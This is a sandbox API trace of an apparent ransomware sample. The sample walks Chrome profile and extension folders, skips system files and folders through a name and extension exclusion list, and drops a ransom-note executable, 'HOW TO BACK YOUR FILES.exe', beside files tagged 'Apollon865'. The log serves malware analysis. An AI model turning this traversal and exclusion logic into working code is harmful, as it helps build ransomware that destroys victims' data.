	[0047.219] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A058.tmp", cAlternateFileName="")) returned 1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="Apollon865.txt.exe") returned -1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2=".") returned 1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="..") returned 1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="windows") returned -1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="bootmgr") returned -1
	[0047.219] lstrcmpiW (lpString1="A058.tmp", lpString2="temp") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="pagefile.sys") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="boot") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="ids.txt") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="ntuser.dat") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="perflogs") returned -1
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2="MSBuild") returned -1
	[0047.220] lstrlenW (lpString="A058.tmp") returned 8
	[0047.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*") returned 91
	[0047.220] lstrcpyW (in: lpString1=0x2d3e604, lpString2="A058.tmp" | out: lpString1="A058.tmp") returned="A058.tmp"
	[0047.220] lstrlenW (lpString="A058.tmp") returned 8
	[0047.220] lstrlenW (lpString="Apollon865") returned 10
	[0047.220] lstrlenW (lpString=".dll") returned 4
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2=".dll") returned 1
	[0047.220] lstrlenW (lpString=".lnk") returned 4
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2=".lnk") returned 1
	[0047.220] lstrlenW (lpString=".ini") returned 4
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2=".ini") returned 1
	[0047.220] lstrlenW (lpString=".sys") returned 4
	[0047.220] lstrcmpiW (lpString1="A058.tmp", lpString2=".sys") returned 1
	[0047.220] lstrlenW (lpString="A058.tmp") returned 8
	[0047.220] lstrcpyW (in: lpString1=0x2d3e604, lpString2="A059.tmp" | out: lpString1="A059.tmp") returned="A059.tmp"
	[0047.220] lstrlenW (lpString="A059.tmp") returned 8
	[0047.220] lstrlenW (lpString="Apollon865") returned 10
	[0047.220] lstrlenW (lpString=".dll") returned 4
	[0047.220] lstrcmpiW (lpString1="A059.tmp", lpString2=".dll") returned 1
	[0047.220] lstrlenW (lpString=".lnk") returned 4
	[0047.220] lstrcmpiW (lpString1="A059.tmp", lpString2=".lnk") returned 1
	[0047.220] lstrlenW (lpString=".ini") returned 4
	[0047.220] lstrcmpiW (lpString1="A059.tmp", lpString2=".ini") returned 1
	[0047.220] lstrlenW (lpString=".sys") returned 4
	[0047.220] lstrcmpiW (lpString1="A059.tmp", lpString2=".sys") returned 1
	[0047.220] lstrlenW (lpString="A059.tmp") returned 8
	[0047.221] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions"
	[0047.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599530 | out: hHeap=0x580000) returned 1
	[0047.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0047.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned 86
	[0047.221] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions"
	[0047.221] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.221] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.229] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.229] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34395610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0047.229] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.229] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.229] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0047.229] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34395610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0047.229] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.229] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0047.229] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0047.229] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0047.229] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1
	[0047.229] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.229] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="Apollon865.txt.exe") returned -1
	[0047.229] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2=".") returned 1
	[0047.229] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="..") returned 1
	[0047.229] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="windows") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="bootmgr") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="temp") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="pagefile.sys") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="boot") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="ids.txt") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="ntuser.dat") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="perflogs") returned -1
	[0047.230] lstrcmpiW (lpString1="aapocclcgogkmnckokdopfmhonfmgoek", lpString2="MSBuild") returned -1
	[0047.230] lstrlenW (lpString="aapocclcgogkmnckokdopfmhonfmgoek") returned 32
	[0047.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*") returned 88
	[0047.230] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="aapocclcgogkmnckokdopfmhonfmgoek" | out: lpString1="aapocclcgogkmnckokdopfmhonfmgoek") returned="aapocclcgogkmnckokdopfmhonfmgoek"
	[0047.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0047.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x599530
	[0047.230] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0047.230] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="Apollon865.txt.exe") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2=".") returned 1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="..") returned 1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="windows") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="bootmgr") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="temp") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="pagefile.sys") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="boot") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="ids.txt") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="ntuser.dat") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="perflogs") returned -1
	[0047.230] lstrcmpiW (lpString1="aohghmighlieiainnegkcijnfilokake", lpString2="MSBuild") returned -1
	[0047.230] lstrlenW (lpString="aohghmighlieiainnegkcijnfilokake") returned 32
	[0047.230] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek") returned 119
	[0047.230] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="aohghmighlieiainnegkcijnfilokake" | out: lpString1="aohghmighlieiainnegkcijnfilokake") returned="aohghmighlieiainnegkcijnfilokake"
	[0047.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0047.230] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x5aa3c8
	[0047.231] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7af0
	[0047.231] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="Apollon865.txt.exe") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2=".") returned 1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="..") returned 1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="windows") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="bootmgr") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="temp") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="pagefile.sys") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="boot") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="ids.txt") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="ntuser.dat") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="perflogs") returned -1
	[0047.231] lstrcmpiW (lpString1="apdfllckaahabafndbhieahigkjlhalf", lpString2="MSBuild") returned -1
	[0047.231] lstrlenW (lpString="apdfllckaahabafndbhieahigkjlhalf") returned 32
	[0047.231] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned 119
	[0047.231] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="apdfllckaahabafndbhieahigkjlhalf" | out: lpString1="apdfllckaahabafndbhieahigkjlhalf") returned="apdfllckaahabafndbhieahigkjlhalf"
	[0047.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0047.231] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x5aa4c0
	[0047.231] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0047.231] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="Apollon865.txt.exe") returned 1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2=".") returned 1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="..") returned 1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="windows") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="bootmgr") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="temp") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="pagefile.sys") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="boot") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="ids.txt") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="ntuser.dat") returned -1
	[0047.231] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="perflogs") returned -1
	[0047.232] lstrcmpiW (lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo", lpString2="MSBuild") returned -1
	[0047.232] lstrlenW (lpString="blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 32
	[0047.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf") returned 119
	[0047.232] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="blpcfgokakmgnkcojhhkbfbldkacnbeo"
	[0047.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b28
	[0047.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x599f60
	[0047.232] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b30 | out: ListHead=0x5b76b0, ListEntry=0x5b7b30) returned 0x5b7c10
	[0047.232] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="felcaaldnbdncclmgdcncolpebgiejap", cAlternateFileName="FELCAA~1")) returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="Apollon865.txt.exe") returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2=".") returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="..") returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="windows") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="bootmgr") returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="temp") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="pagefile.sys") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="boot") returned 1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="ids.txt") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="ntuser.dat") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="perflogs") returned -1
	[0047.232] lstrcmpiW (lpString1="felcaaldnbdncclmgdcncolpebgiejap", lpString2="MSBuild") returned -1
	[0047.232] lstrlenW (lpString="felcaaldnbdncclmgdcncolpebgiejap") returned 32
	[0047.232] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 119
	[0047.232] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="felcaaldnbdncclmgdcncolpebgiejap" | out: lpString1="felcaaldnbdncclmgdcncolpebgiejap") returned="felcaaldnbdncclmgdcncolpebgiejap"
	[0047.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0047.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x59a058
	[0047.232] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7b30
	[0047.232] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1
	[0047.232] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.232] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="Apollon865.txt.exe") returned 1
	[0047.232] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2=".") returned 1
	[0047.232] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="..") returned 1
	[0047.232] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="windows") returned -1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="bootmgr") returned 1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="temp") returned -1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="pagefile.sys") returned -1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="boot") returned 1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="ids.txt") returned -1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="ntuser.dat") returned -1
	[0047.233] lstrcmpiW (lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi", lpString2="perflogs") returned -1
	[0047.233] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="ghbmnnjooekpmoecnnnilnnbdlolhkhi" | out: lpString1="ghbmnnjooekpmoecnnnilnnbdlolhkhi") returned="ghbmnnjooekpmoecnnnilnnbdlolhkhi"
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x59a150
	[0047.233] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c90
	[0047.233] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34395610, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x34395610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0047.233] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0047.233] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1
	[0047.233] lstrcmpiW (lpString1="nmmhkkegccagdldgiimedpiccmgmieda", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.233] lstrcmpiW (lpString1="nmmhkkegccagdldgiimedpiccmgmieda", lpString2="Apollon865.txt.exe") returned 1
	[0047.233] lstrcpyW (in: lpString1=0x2d3e5fe, lpString2="nmmhkkegccagdldgiimedpiccmgmieda" | out: lpString1="nmmhkkegccagdldgiimedpiccmgmieda") returned="nmmhkkegccagdldgiimedpiccmgmieda"
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0047.233] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xf0) returned 0x59a248
	[0047.233] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
